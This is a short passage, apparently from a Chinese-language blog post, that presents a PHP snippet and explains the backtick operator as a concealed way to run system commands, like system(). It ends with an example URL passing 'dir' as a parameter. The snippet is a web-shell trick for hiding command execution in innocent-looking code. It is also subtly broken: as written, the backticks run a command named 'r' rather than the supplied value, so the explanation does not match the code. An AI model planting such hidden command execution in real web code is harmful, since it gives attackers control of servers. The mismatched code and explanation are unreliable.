<?php
//t.php
$test = $_GET[`r`];
echo $test;
?>

，但是细心的朋友也会发现下面的变量被一个符号包起来了，既然是变量为什么要这样了，

而且又不是单引号，这个就是关键所在了，这个符号是 Esc 下面的一个键 感叹号！旁边的`

通过 echo `系统命令`; 可以达到 system(); 一样的效果

http://website/1.php?r=dir